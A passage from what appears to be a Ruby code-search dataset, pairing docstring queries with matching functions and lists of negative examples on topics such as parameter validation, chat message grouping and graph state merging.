e\n fragment += ch\n end\n end\n\n # Code ended, but invocation cannot be parsed. Again: can this actually\n # happen?\n return nil if sexp.nil?\n\n # Parsed code results in structure called s-expression (sexps). It has\n # a tree-like structure that describes Ruby code and thus can be turned\n # into code again (+ all the whitespace will be removed).\n ruby2ruby = Ruby2Ruby.new\n result = []\n\n sexp[3].each_with_index do |arg, i|\n next if i == 0\n result << ruby2ruby.process(arg)\n end\n\n # Here we can return array of source code strings\n return result\n end", "def detect_function(d)\n if d[:body] =~ /[;\\{]/\n d[:type] = :file\n d[:decl] = \"\"\n\n proto = d[:body].split(/[;\\{]/, 2).first.strip\n if proto[-1] == ?)\n (proto.length - 1).downto(0) do |p|\n tail = proto[p .. -1]\n if tail.count(\")\") == tail.count(\"(\")\n if proto[0..p] =~ /(\\w+)\\(\\z/\n d[:name] = $1\n d[:type] = :function\n d[:decl] = proto\n end\n break\n end\n end\n end\n end\n end", "def getFunctions(code)\n\tfunctions = []\n\twords = code.split(/(?<!,)\\s/)\n\twords.length.times do |i|\n\t\tif words[i] == \"def\"\n\t\t\tfunctions << words[i + 1].strip\n\t\tend\n\tend\n\treturn functions\nend", "def __caller_info__(i = 1)\n file, line, meth = caller[i].scan(/(.*?):(\\d+):in `(.*?)'/).first\n end", "def __caller_file__(caller_depth=0)\n regex = RUBY_ENGINE == 'opal' ? PutsDebuggerer::STACK_TRACE_CALL_SOURCE_FILE_REGEX_OPAL : PutsDebuggerer::STACK_TRACE_CALL_SOURCE_FILE_REGEX\n caller[caller_depth] && caller[caller_depth][regex, 1]\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Must be: (a) an expanding parameter, and (b) a singleton already (i.e. doesn't respond to :each)
def expandable_singleton?(p, arg) self.class.expanding_parameters.include?(p) && !arg.respond_to?(:each) end
[ "def expanded_args; end", "def expand\n end", "def double_collections_by_parameter_name; end", "def expand(*args)\n self.new(*args).expand\n end", "def splat=(_); end", "def __splat(x) end", "def auto_inject=(_arg0); end", "def AssocSplat(value); end", "def deep_each\n \n end", "def visit_arg_star(node); end", "def expand(val, binding)\n if val.respond_to? :expand\n transformed_parameter(val.expand(binding))\n else\n val\n end\n end", "def matched_items=(_arg0); end", "def * that\n case that\n when Enumerable then product(that)\n when Integer then cycle(that)\n end\n end", "def process_call_args exp\n exp.each_arg do |a|\n process a if sexp? a\n end\n\n exp\n end", "def ArgStar(value); end", "def argument_list_matcher=(_arg0); end", "def extend(arg)\n super(arg.is_a?(Symbol) ? Extensions::Collections.const_get(arg) : arg)\n end", "def each_recursive(&block)\n yield self\n self.each do |se|\n if se.is_a? Sexp\n se.each_recursive &block\n end\n end\n end", "def block_args\n expect :iter\n if self[2] == 0 # ?! See https://github.com/presidentbeef/railroader/issues/331\n return Sexp.new(:args)\n else\n self[2]\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
For each parameter/attribute foo we try to invoke a validate_foo
def validate self.class.parameters.each do |param, default| method = "validate_#{param}" if self.respond_to? method attribute = "@#{param}" val = instance_variable_get(attribute) if val.respond_to? :each new_val = val.map.with_index{ |v, i| send(method, v, i) } instance_variable_set(attribute, new_val) else instance_variable_set(attribute, send(method, val)) end end end end
[ "def validate_params\n validate_size\n validate_mine_density\n validate_first_click\n type_specific_checks\n end", "def validate_command_attrs\n self.class.validation_logics.each do |attr, logics|\n val = self.instance_variable_get(\"@#{attr}\".to_sym)\n logics.each do |l|\n unless l.call(self, attr, val)\n raise \"validation error : #{attr}=#{val} (#{self.class})\"\n end\n end\n end\n end", "def call_validate_methods(constraints, historical, day_of_week_input, dining_input, time_input, meal_input)\n errors = []\n errors << 'constraints_file' unless validate_file(constraints)\n errors << 'historical_file' unless validate_file(historical)\n errors << 'date' unless validate_date(day_of_week_input)\n errors << 'time' unless validate_time(time_input)\n errors << 'dining_options' unless validate_dining_input(dining_input.to_s)\n errors << 'meal_options' if validate_cost(meal_input)\n errors\nend", "def validate_values!\n failures = []\n options.each do |param, value|\n if validation = all_validations[param]\n failures << \"Invalid value: #{value} for: #{param}\" unless validation.call(value)\n end\n end\n raise ArgumentError.new(failures.to_sentence) unless failures.blank?\n end", "def validate_params_present!; end", "def validate\n @errors ||= {}\n params.each{ |x| x.validate }\n self\n end", "def validatable_attributes(atts, opts)\n am, an, ab, m = opts.values_at(:allow_missing, :allow_nil, :allow_blank, :message)\n Array(atts).each do |a|\n next if am && !values.has_key?(a)\n v = send(a)\n next if an && v.nil?\n next if ab && v.respond_to?(:blank?) && v.blank?\n if message = yield(a, v, m)\n errors.add(a, message)\n end\n end\n end", "def validate\n raise ValidationError, \"At least one attribute must be specified\" if @attributes.empty?\n @attributes.each { |attribute| attribute.validate }\n end", "def validates_each(*atts, &block)\n atts.each { |a| validations[a] << block }\n end", "def validate_params(params)\n # This will be implemented by Validators which take parameters\n end", "def perform_validations\n error_count = 0\n Pkg::Params::VALIDATIONS.each do |v|\n variable_name = v[:var]\n variable_value = self.instance_variable_get(\"@#{v[:var]}\")\n validations = v[:validations]\n validations.each do |validation|\n unless Pkg::ConfigValidations.send(validation, variable_value)\n warn \"Warning: variable \\\"#{variable_name}\\\" failed validation \\\"#{validation}\\\"\"\n error_count += 1\n end\n end\n end\n\n if error_count != 0\n warn \"Warning: #{error_count} validation failure(s).\"\n end\n end", "def single_param_validation(param_name, value, functions)\n functions = [functions] unless functions.kind_of? Array\n functions.collect do |f|\n case f\n when Proc\n f.(param_name, value)\n when Symbol\n send(f, param_name, value) unless f == :optional # [:optional].include? f\n else\n Logger.error(\"Not supported validator type: #{f} -> #{f.class}\")\n end\n end\n end", "def set_automated_validation\n (self.methods - Object.methods).each do |method|\n params_index = method(method).parameters.map{|ar| ar[1]}.index(:params)\n body_index = method(method).parameters.map{|ar| ar[1]}.index(:body)\n\n define_singleton_method(method) do |*args, &block|\n validate Docker::API::InvalidParameter, Docker::API::VALID_PARAMS[\"#{self.class.name}\"][\"#{method}\"], (args[params_index] || {}) if params_index\n validate Docker::API::InvalidRequestBody, Docker::API::VALID_BODY[\"#{self.class.name}\"][\"#{method}\"], (args[body_index] || {}) if body_index\n super(*args,&block)\n end\n end\n end", "def validate_each(record, attribute, value)\n if value.is_a? Array\n value.each_with_index do |element, index|\n if element.is_a? Array\n if element.length != 2\n extreme = :few\n\n if element.length > 2\n extreme = :many\n end\n\n length_error = length_error_at(\n :extreme => extreme,\n :element => element,\n :index => index\n )\n\n record.errors.add attribute, length_error\n else\n parameter_name = element.first\n\n if parameter_name.is_a? String\n unless parameter_name.present?\n error = error_at(\n :element => element,\n :index => index,\n :prefix => \"has blank parameter name\"\n )\n record.errors.add attribute, error\n end\n else\n error = error_at(\n :element => element,\n :index => index,\n :prefix => \"has non-String parameter name (#{parameter_name.inspect})\"\n )\n record.errors.add attribute, error\n end\n\n parameter_value = element.second\n\n unless parameter_value.is_a? String\n error = error_at(\n :element => element,\n :index => index,\n :prefix => \"has non-String parameter value (#{parameter_value.inspect})\"\n )\n record.errors.add attribute, error\n end\n end\n else\n error = error_at(\n :element => element,\n :index => index,\n :prefix => 'has non-Array'\n )\n record.errors.add attribute, error\n end\n end\n else\n record.errors.add attribute, \"is not an Array. #{TYPE_SIGNATURE_SENTENCE}\"\n end\n end", "def invoke(obj)\n get_state(obj).validations.each do |attr, validations|\n val = obj.send attr\n validations.each { |validation| validation.call obj, attr, val }\n end\n end", "def reflect_on_validations_for(attr_name)\n self.reflect_on_all_validations.select do |reflection|\n reflection.name == attr_name.to_sym\n end\n end", "def validate_requireds!\n missing = []\n required_params.each do |param|\n missing << param if self[param].nil?\n end\n raise \"Missing values for #{missing.map{|s| s.to_s }.sort.join(\", \")}\" if (! missing.empty?)\n end", "def validates_each(*atts, &block)\n opts = extract_options!(atts)\n blank_meth = db.method(:blank_object?).to_proc\n blk = if (i = opts[:if]) || (am = opts[:allow_missing]) || (an = opts[:allow_nil]) || (ab = opts[:allow_blank])\n proc do |o,a,v|\n next if i && !validation_if_proc(o, i)\n next if an && Array(v).all?(&:nil?)\n next if ab && Array(v).all?(&blank_meth)\n next if am && Array(a).all?{|x| !o.values.has_key?(x)}\n block.call(o,a,v)\n end\n else\n block\n end\n tag = opts[:tag]\n atts.each do |a| \n a_vals = Sequel.synchronize{validations[a] ||= []}\n if tag && (old = a_vals.find{|x| x[0] == tag})\n old[1] = blk\n else\n a_vals << [tag, blk]\n end\n end\n end", "def all_validators=(_arg0); end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Return the deck's configuration
def deck_conf @deck.conf end
[ "def get_deck\n return @deck\n end", "def config\n @config_data\n end", "def configuration\n rateable.configuration\n end", "def configuration\n provider.configuration\n end", "def get_config(reference)\n game_state.manager(:resource).get_config(reference)\n end", "def config\n @config_path = File.join(FXER_CONFIGURATION_PATH, \"ecb.yml\")\n @config ||= YAML.load_file(@config_path)\n end", "def configuration\n @configuation.nil? ? Shortener::Configuration.current : @configuration\n end", "def config\r\n @config ||= {}\r\n end", "def default_config\n DefaultConfig.options\n end", "def actual_config\n Config.instance\n end", "def configuration\n @config ||= setup\n end", "def config\n \n # TODO: Re-enable:\n # # Display the value for a specific machine.\n # $ rudy -e prod -r db config param-name\n \n if @@config.nil? || @@config.empty?\n return if @@global.quiet\n raise Rudy::NoConfig\n end\n\n outform = @@global.format == :json ? :to_json : :to_yaml\n \n types = @option.marshal_dump.keys & @@config.keys # Intersections only\n types = @@config.keys if @option.all\n types = [:machines] if types.empty?\n \n if @option.project\n rf = File.join(RUDY_HOME, 'Rudyfile')\n raise \"Cannot find: #{rf}\" unless File.exists?(rf)\n li File.read(rf)\n \n elsif @option.script\n conf = fetch_script_config\n li conf.to_hash.send(outform) if conf\n \n else\n #li \"# ACCOUNTS: [not displayed]\" if types.delete(:accounts)\n types.each do |conftype|\n li \"# #{conftype.to_s.upcase}\"\n next unless @@config[conftype] # Nothing to output\n if conftype == :accounts\n skey = @@config[conftype][:aws][:secretkey]\n @@config[conftype][:aws][:secretkey] = hide_secret_key(skey)\n end\n \n li @@config[conftype].to_hash.send(outform)\n end\n end\n \n end", "def configuration\n @configuration ||= DaisybillApi::Configuration.new\n end", "def config\n machined.config\n end", "def plugin_config\n @configuration.get_inmode_config(@mode, true)\n end", "def configuration\n @configuration ||= \n Cabar::Configuration.new\n end", "def configure\n settings = YAML::load_file('holdem-conf.yaml')\n if settings[\"opponent-unlimited-funds\"]\n @players[1].balance = 1.0/0.0\n end\n if settings[\"show-opponent-hand\"]\n @show_opponent_hand = true\n end\nend", "def player_config\n @player_config ||= {}\n end", "def configurations()\n proxy.ListConfigurations(:configurationType => 2)\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
NOTE : I think this api is very badly designed. 1. parameter : giving 'id' parameter will filter by chat id. so instead of 'id' it should use 'chat_id' to make it more clear 2. response : I would probably return list and does group_by on the client side, or I would create another end point that returns grouped_by results.
def index list = current_user.chats.pluck :id options = filter_params options[:id] = filter_params[:id] == 'all' ? list : [filter_params[:id]] @messages = ChatMessage.filter options @messages = @messages.group_by(&:chat_id) end
[ "def get_chat_messages\n # get chat messages\n chats = Message.includes(:user).where(receiver_id: @current_user.id, user_id: params[:user_id], request_id: params[:request_id]).or(Message.includes(:user).where(user_id: @current_user.id, receiver_id: params[:user_id], request_id: params[:request_id])).order(created_at: :asc)\n if chats.any?\n render json: chats, :include => {\n :user => {\n :only => [:id, :firstname, :lastname]\n },\n },\n status: :ok\n else\n render json: {\n status: 'no-content',\n message: 'No chat on this request yet'\n },\n status: :no_content\n end\n end", "def index\n @groupchats = Groupchat.all\n end", "def index\n @group_chats = GroupChat.all\n end", "def index\n @chat_groups = ChatGroup.all\n end", "def by_recipient\n render :json => Message.order('created_at').where(recipient: params[:id])\n end", "def index\n @chats = Chat.where(to_id: current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @chats }\n end\n end", "def get_messages()\n hash_list = SQLQuery.new.get('groups_messages', ['*']).where.if('group_id', @id).send\n list = []\n hash_list.each do |hash|\n list << Message.get(hash['id'], 'group')\n end\n return list\n end", "def index\n page = params[:page]\n @messages = chat_messages(@chat).paginate(page, 2)\n end", "def fetch\n messages = paginate ConversationMessage.where(conversation_id: params[:conversation_id])\n .order('created_at DESC')\n render json: messages.to_json(:include => :user)\n end", "def chat\n @title = \"Conversacion\"\n @chats = GetChatsForPreviaGroup.call(@previa_group)\n @messages = GetMessagesForChat.call(Chat.find(params[:chat]))\n end", "def chats\n Chat.where(\"'{?}' && ids\", self.id)\n end", "def index\n @group_chat_lists = GroupChatList.all\n end", "def index\n match_id = params[:match_id]\n @messages = Message.where(match_id: match_id)\n render json: @messages\n # this will look like\n # [\n # {message: \"sdhfkas\", user1_id: 34},\n # {message: \"sdhfkas\", user1_id: 34},\n # {message: \"sdhfkas\", user1_id: 34},\n # ]\n end", "def channel_group_by_keyword\n text_components = response_text.split\n if text_components.size > 1\n ChannelGroup.by_tparty_keyword(to_phone).by_keyword(text_components[0]).first\n end\n end", "def groups_by_username(username)\n token = self.auth_token()\n\n result = HTTParty.get(\"#{@head_url}/users/#{username}/joined_chatgroups\",\n :headers => { 'Content-Type' => 'application/json', 'Authorization'=>\"Bearer #{token}\" } )\n\n if result.response.code.to_i == 200\n return result[\"data\"]\n else\n puts result.response.body.yellow\n nil\n end \n end", "def index\n @chats = Chat.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @chats }\n end\n end", "def index\n @chatters = Chatter.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @chatters }\n end\n end", "def statistics \n channel = Channel.find_by!(id: params[:id])\n joinedChannels = ChannelJoined.where(channel_id: params[:id])\n messages = Message.where(channel_id: params[:id])\n json_response({\n users: joinedChannels.length,\n messages: messages.length,\n })\n end", "def get_group_users(id)\n endpoint = '/groups'\n user_query = '?include=users'\n url = self.base_url.to_s + endpoint.to_s + \"/\" + id.to_s + self.format.to_s + user_query\n self.get_data(url)\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Merge `s` and `t` the brute force way (nonrecursive, no edgemerge)
def merge_states(glts, s, t) data = STATE_AGGREGATOR.merge(s.data, t.data) # reconnect `t`'s edges to s t.in_edges.each do |in_edge| source = (in_edge.source == t ? s : in_edge.source) glts.connect(source, s, in_edge.data) end t.out_edges.each do |out_edge| target = (out_edge.target == t ? s : out_edge.target) glts.connect(s, target, out_edge.data) end # drop `t` and mark `s` as its representor glts.drop_state(t) t[:representor] = s # set new marks on s data.each_pair{|k,v| s[k] = v} end
[ "def growEqualityGraph(s_vertices, t_vertices, s_neighbors, s_neighbors_not_in_t) #weights, s_vertices, t_vertices, s_neighbors_not_in_t, s_neighbors)\n\t\t\n\t\t#update labels\n\t\t\n\t\t\n\t\tlabelUpdateVal = nil\n\t\t\n\t\t#We want to grow T in order to up the chance we can have a match\n\t\t\n\t\tunconnected_y_vertices = @y_vertices - t_vertices\n\t\t\n\t\tputs \"Update labels, matching some thing in S #{s_vertices.to_a} and not T #{unconnected_y_vertices.to_a}\" if DEBUG_OUTPUT\n\t\t\t\t\t\t\t\n\t\ts_vertices.each do |xIdx|\n\t\t\tunconnected_y_vertices.each do |y|\n\t\t\t\t\t\n\t\t\t\tyIdx = yIdx(y)\n\t\t#\t\t\t\t\t\t\n\t\t\t\tnext if @weights[xIdx][yIdx] == nil\n\t\t\t\t#puts \"looking at #{x} #{xIdx} #{y} #{yIdx} ..label vals #{labelX[xIdx]} + #{labelY[yIdx]} - weights[xIdx][yIdx]\" if DEBUG_OUTPUT\n\t\t\t\tcandidate = @labelX[xIdx] + @labelY[yIdx] - @weights[xIdx][yIdx]\n\t\t\t\tlabelUpdateVal = candidate if labelUpdateVal == nil || candidate < labelUpdateVal\n\t\t\tend\n\t\tend\n\t\t\t\n\t\t#Todo probably the cells matching candidate and exactly\n\t\t#the ones that are the new lines in the equality subgraph\n\t\t\n\t\tputs \"Label Updating Value #{labelUpdateVal}\" if DEBUG_OUTPUT\n\t\t\t\n\t\t\t#Now adjust the label values accordingly\n\t\t#\t\t\t\t#This adjustment will keep the equality graph the same but add an edge\n\t\ts_vertices.each do |xIdx|\n\t\t\t@labelX[xIdx] -= labelUpdateVal\n\t\tend\n\t\t\t\n\t\tt_vertices.each do |y|\t\t\n\t\t\t@labelY[yIdx(y)] += labelUpdateVal\n\t\tend\n\t\t\t\t\t\n\t\t#@edges = Set.new\n\t\t#puts \"Arg: #{@edges.to_a}\" if DEBUG_OUTPUT\n\t\t\n\t\t#New eq graph has same edges if x is part of s && y is part of t or\n\t\t#if x,y not part s,t respectively\n\t\t#so we just have to blow away stuff in s, but not t and t but not s\n\t\t\n\t\tclearEdges\t\t\n#\t\tnot_s_vertices = x_vertices - s_vertices\n#\t\t\n#\t\t@edges.reject! { |e| s_vertices.member?(e[0]) != t_vertices.member?(e[1]) }\n#\t\t\n\t\ts_vertices.each do |x|\n\t\t\tunconnected_y_vertices.each do |y|\n\t\t\t\t#puts \"genEqGraph x=[#{x}] y=[#{y}] weight=#{weights[xIdx][yIdx]} labelX=#{labelX[xIdx]} labelY=#{labelY[yIdx]}\" if DEBUG_OUTPUT\n\t\t\t\tif isEdge(x, y) == true\n\t\t\t\t\tputs \"Adding #{y} to s_neighbors #{s_neighbors.to_a}\" if DEBUG_OUTPUT\n\t\t\t\t\ts_neighbors.add(y)\n\t\t\t\t\ts_neighbors_not_in_t.push(y)\t\t\t\t\t\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\tputs \"LabelX #{@labelX}\" if DEBUG_OUTPUT\n\t\tputs \"LabelY #{@labelY}\" if DEBUG_OUTPUT\t\t\n\t\tputs \"New Equality graph\\n#{to_s}\" if DEBUG_OUTPUT\t\t\t\n\t\t\t\t\t\n\tend", "def merge_trees(t1, t2)\n return t1 if t2.nil?\n return t2 if t1.nil? \n \n t1.val += t2.val\n t1.left = merge_trees(t1.left, t2.left)\n t1.right = merge_trees(t1.right, t2.right)\n \n return t1\nend", "def merge_pairwise(aligns)\n ps = aligns.map do |align| \n seqs = []\n align.each do |bioseq|\n seqs << bioseq.to_s\n end\n seqs\n end\n template = []\n #m,x,n\n x = 2\n ftemp = ps.first.first\n nmax = ps.map {|pair| pair.first.size }.max\n mmax = ps.size\n mar = (0...mmax).to_a\n others = mar.map { [] }\n ns = mar.map { 0 }\n tn = 0\n on = 0\n (0...nmax).each do |n|\n (t_dsh, t_no_dsh) = mar.partition do |m| \n # this is RUBY 1.8 ONLY!!\n ps[m][0][ns[m]] == 45 # '-' is ascii 45\n end\n\n # if a template has a dash, all other off-templates need a dash\n if t_dsh.size > 0\n template[tn] = 45\n t_no_dsh.each do |m|\n # don't update these guys counter\n others[m][tn] = 45\n end\n t_dsh.each do |m|\n others[m][tn] = ps[m][1][ns[m]]\n ns[m] += 1\n end\n else # no dashes in the template\n t_no_dsh.each do |m|\n others[m][tn] = ps[m][1][ns[m]]\n end\n template[tn] = ps[0][0][ns[0]]\n ns.map!{|v| v+1 } \n end\n tn += 1\n end\n [cs_to_s(template), others.map! {|ar| cs_to_s(ar) } ]\n end", "def merge_pairs(x)\n old, y, z = nil, nil, nil\n # UGLY\n while x\n y = x.right.right if x.right\n z = meld_roots(x, x.right)\n z.right = old\n old = z\n break if y == x\n x = y\n end\n\n # EVEN MORE UGLY\n @head = nil\n while old\n y = old.right\n @head = meld_roots(@head, old)\n old = y\n end\n end", "def merge!(another_tt)\n transaction do\n # if one tt has no period, just merge lists\n if self.periods.empty? || another_tt.periods.empty?\n if !another_tt.periods.empty?\n # copy periods\n self.periods = another_tt.clone_periods\n # set valid_days\n self.int_day_types = another_tt.int_day_types\n end\n # merge dates\n self.dates ||= []\n another_tt.included_days.each do |d|\n add_included_day d\n end\n else\n # check if periods can be kept\n common_day_types = self.int_day_types & another_tt.int_day_types & 508\n # if common day types : merge periods\n if common_day_types != 0\n periods = self.optimize_periods\n another_periods = another_tt.optimize_periods\n # add not common days of both periods as peculiar days\n self.effective_days_of_periods(self.class.valid_days(self.int_day_types ^ common_day_types)).each do |d|\n self.dates |= [Chouette::TimeTableDate.new(:date => d, :in_out => true)]\n end\n another_tt.effective_days_of_periods(self.class.valid_days(another_tt.int_day_types ^ common_day_types)).each do |d|\n add_included_day d\n end\n # merge periods\n self.periods = periods | another_periods\n self.int_day_types = common_day_types\n self.periods = self.optimize_periods\n else\n # convert all period in days\n self.effective_days_of_periods.each do |d|\n self.dates << Chouette::TimeTableDate.new(:date => d, :in_out => true) unless self.include_in_dates?(d)\n end\n another_tt.effective_days_of_periods.each do |d|\n add_included_day d\n end\n end\n end\n # if remained excluded dates are valid in other tt , remove it from result\n self.dates.each do |date|\n date.in_out = true if date.in_out == false && another_tt.include_day?(date.date)\n end\n\n # if peculiar dates are valid in new periods, remove them\n if !self.periods.empty?\n days_in_period = self.effective_days_of_periods\n dates = []\n self.dates.each do |date|\n dates << date unless date.in_out && days_in_period.include?(date.date)\n end\n self.dates = dates\n end\n self.dates.to_a.sort! { |a,b| a.date <=> b.date}\n self.save!\n end\n end", "def merge(drops)\n 1.upto(drops.length-1) do |i|\n drops[i-1], drops[i] = combine drops[i-1], drops[i]\n end\n drops.compact\nend", "def _merge sigs\n sizes = sigs.map(&:re).map(&:size)\n\n if sizes.uniq.size != 1\n puts \"[?] wrong sizes: #{sizes.inspect}\"\n return nil\n end\n\n res = sigs.map(&:re)\n diff = _diff res\n return nil unless diff\n\n ref = res.first\n ref[0...diff.first] + [OrBlock.new(res.map{ |re| re[diff] })] + ref[(diff.last+1)..-1]\n end", "def update_tg!(tg,mapping)\n tg[0].each do |node|\n node[0] = mapping[node[0]] if mapping[node[0]] != nil\n end\n \n tg[1].each do |edge|\n edge[0] = mapping[edge[0]] if mapping[edge[0]] != nil\n edge[1] = mapping[edge[1]] if mapping[edge[1]] != nil\n end\n return tg\nend", "def merged_generated_subgraphs(relation, plan_seeds, transaction_seeds)\n\t plan_set = ValueSet.new\n\t transaction_set = ValueSet.new\n\t plan_seeds\t = plan_seeds.to_value_set\n\t transaction_seeds = transaction_seeds.to_value_set\n\n\t loop do\n\t\told_transaction_set = transaction_set.dup\n\t\ttransaction_set.merge(transaction_seeds)\n\t\tfor new_set in relation.generated_subgraphs(transaction_seeds, false)\n\t\t transaction_set.merge(new_set)\n\t\tend\n\n\t\tif old_transaction_set.size != transaction_set.size\n\t\t for o in (transaction_set - old_transaction_set)\n\t\t\tif o.respond_to?(:__getobj__)\n\t\t\t o.__getobj__.each_child_object(relation) do |child|\n\t\t\t\tplan_seeds << child unless self[child, false]\n\t\t\t end\n\t\t\tend\n\t\t end\n\t\tend\n\t\ttransaction_seeds.clear\n\n\t\tplan_set.merge(plan_seeds)\n\t\tplan_seeds.each do |seed|\n\t\t relation.each_dfs(seed, BGL::Graph::TREE) do |_, dest, _, kind|\n\t\t\tnext if plan_set.include?(dest)\n\t\t\tif self[dest, false]\n\t\t\t proxy = wrap(dest, false)\n\t\t\t unless transaction_set.include?(proxy)\n\t\t\t\ttransaction_seeds << proxy\n\t\t\t end\n\t\t\t relation.prune # transaction branches must be developed inside the transaction\n\t\t\telse\n\t\t\t plan_set << dest\n\t\t\tend\n\t\t end\n\t\tend\n\t\tbreak if transaction_seeds.empty?\n\n\t\tplan_seeds.clear\n\t end\n\n\t [plan_set, transaction_set]\n\tend", "def merge(left, right)\n (l_l, l_r), (u_l, u_r) = left.tangents(right)\n\n l = l_l\n r = l_r\n l1 = nil\n r1 = nil\n l2 = nil\n r2 = nil\n\n until l == u_l && r == u_r\n # TODO: Name these better than just A and B (the original paper's names)\n a = false\n b = false\n\n join(l, r, l == l_l && r == l_r)\n\n r1 = r.clockwise(l)\n if r1.left_of?(l, r)\n r2 = r.clockwise(r1)\n\n until outside?(r1, l, r, r2)\n unjoin(r, r1, 'from the right')\n r1 = r2\n r2 = r.clockwise(r1)\n end\n else\n a = true\n end\n\n l1 = l.counterclockwise(r)\n if l1.right_of?(r, l)\n l2 = l.counterclockwise(l1)\n\n until outside?(l, r, l1, l2)\n unjoin(l, l1, 'from the left')\n l1 = l2\n l2 = l.counterclockwise(l1)\n end\n else\n b = true\n end\n\n if a\n l = l1\n elsif b\n r = r1\n elsif outside?(l, r, r1, l1)\n r = r1\n else\n l = l1\n end\n end\n\n # Add the top tangent; this seems to be omitted from Lee and Schachter,\n # either that or the \"UNTIL\" loop behaves differently in their pseudocode\n # and runs one final iteration.\n join(u_r, u_l, true)\n\n left.add_hull(right)\n\n rescue => e\n f = \"/tmp/hull_#{left.hull_id}_#{right.hull_id}.json\"\n File.write(\n f,\n JSON.pretty_generate(\n (left.points + right.points).map { |p| [p.x, p.y, p.idx] }\n )\n )\n\n raise \"Merging #{right.hull_id} (#{right.count} pts) into #{left.hull_id} (#{left.count} pts) failed: #{e}. Wrote #{f} to debug.\"\n end", "def merge_trees(t1, t2)\n return t2 if t1 == nil\n return t1 if t2 == nil\n value = t1.val += t2.val\n new = TreeNode.new(value)\n new.left = merge_trees(t1.left, t2.left)\n new.right = merge_trees(t1.right, t2.right)\n return new\nend", "def merge(*trees)\n acc = {}\n trees.each do |tree|\n tree.inject(acc) do |acc, pair|\n name, info = pair\n acc[name] ||= {}\n info.inject(acc[name]) do |acc_, pair_|\n type, data = pair_\n case\n when (not acc_[type])\n acc_[type] = data.dup\n when (not acc_[type][:value] and not data[:value]) # WRR records.\n d = data.merge(acc_[type])\n acc_[type] = d\n else # Not WRR records.\n acc_[type][:value] = (data[:value] + acc_[type][:value]).sort.uniq\n end\n acc_\n end\n acc\n end\n end\n acc\nend", "def calc_d2(s, t, u)\n slacks = []\n s.each do |s_dog|\n g.each_adjacent(s_dog) do |cat|\n unless t.include?(cat)\n slacks.push slack(u, s_dog, cat)\n end\n end\n end\n slacks.min\n end", "def merge_transitions(left, right)\n\t left.merge(right) do |word, lhs, rhs|\n\t\tif (lhs === rhs)\n\t\t lhs\n\t\telse\n\t\t Speech::FSG::Node.new(merge_transitions(lhs.transitions, rhs.transitions))\n\t\tend\n\t end\n\tend", "def test_ternary_join\n outs = []\n r = Crocus::PushElement.new('r', 2)\n s = Crocus::PushElement.new('s', 2)\n t = Crocus::PushElement.new('t', 2)\n e = Crocus::PushJoinEddy.new('e1', 6, [r,s,t], [[[r, [0]], [s, [0]]], [[s, [0]], [t, [0]]]]) do |i|\n outs << i\n end\n r.wire_to(e)\n s.wire_to(e)\n t.wire_to(e)\n r.insert([1,:a])\n s.insert([1,:b])\n t.insert([1,:c])\n r.insert([2,:a])\n s.insert([2,:b])\n t.insert([2,:c])\n r.end; s.end; t.end\n assert_equal([[1, :a, 1, :b, 1, :c], [2, :a, 2, :b, 2, :c]], outs.sort)\n end", "def merge(source); end", "def expand_t_blossom(b)\n assert(@label_end[b]).not_nil\n entry_child = @in_blossom[@endpoint[@label_end[b] ^ 1]]\n\n # > Move along the blossom until we get to the base.\n j, jstep, endptrick = blossom_loop_direction(b, entry_child)\n p = @label_end[b]\n while j != 0\n\n # > Relabel the T-sub-blossom.\n @label[@endpoint[p ^ 1]] = LBL_FREE\n @label[\n @endpoint[@blossom_endps[b][j - endptrick] ^ endptrick ^ 1]\n ] = LBL_FREE\n assign_label(@endpoint[p ^ 1], LBL_T, p)\n\n # > Step to the next S-sub-blossom and note its forward endpoint.\n # Intentional floor division\n @tight_edge[@blossom_endps[b][j - endptrick] / 2] = true\n j += jstep\n p = @blossom_endps[b][j - endptrick] ^ endptrick\n\n # > Step to the next T-sub-blossom.\n # Intentional floor division\n @tight_edge[p / 2] = true\n j += jstep\n end\n\n # > Relabel the base T-sub-blossom WITHOUT stepping through to\n # > its mate (so don't call assignLabel).\n bv = @blossom_children[b][j]\n @label[@endpoint[p ^ 1]] = @label[bv] = LBL_T\n @label_end[@endpoint[p ^ 1]] = @label_end[bv] = p\n @best_edge[bv] = nil\n\n # > Continue along the blossom until we get back to entrychild.\n j += jstep\n while @blossom_children[b][j] != entry_child\n\n # > Examine the vertices of the sub-blossom to see whether\n # > it is reachable from a neighbouring S-vertex outside the\n # > expanding blossom.\n bv = @blossom_children[b][j]\n if @label[bv] == LBL_S\n # > This sub-blossom just got label S through one of its\n # > neighbours; leave it.\n j += jstep\n next\n end\n\n # > If the sub-blossom contains a reachable vertex, assign\n # > label T to the sub-blossom.\n v = first_labeled_blossom_leaf(bv)\n unless v.nil?\n assert_label(v, LBL_T)\n assert(@in_blossom[v]).eq(bv)\n @label[v] = LBL_FREE\n @label[@endpoint[@mate[@blossom_base[bv]]]] = LBL_FREE\n assign_label(v, LBL_T, @label_end[v])\n end\n\n j += jstep\n end\n end", "def merge(base, left, right)\n\tbase_expanded_path = File.expand_path(base)\n\tleft_expanded_path = File.expand_path(left)\n\tright_expanded_path = File.expand_path(right)\n\t\n\t[\n\t\tbase_expanded_path,\n\t\tleft_expanded_path,\n\t\tright_expanded_path,\n\t].each do |file|\n\t\tif !File.file?(file)\n\t\t\tSTDERR.puts \"Could not find #{file}.\"\n\t\t\texit(1)\n\t\tend\n\tend\n\t\n\tDir.mktmpdir do |dir|\n\t\tbegin\n\t\t\textention = File.extname(base_expanded_path)\n\t\t\tparsed_base = Tempfile.new(['parsed_base', extention], dir)\n\t\t\tparsed_left = Tempfile.new(['parsed_left', extention], dir)\n\t\t\tparsed_right = Tempfile.new(['parsed_right', extention], dir)\n\t\t\tparsed_output = Tempfile.new(['parsed_output', extention], dir)\n\t\t\toutput = Tempfile.new(['output', extention], 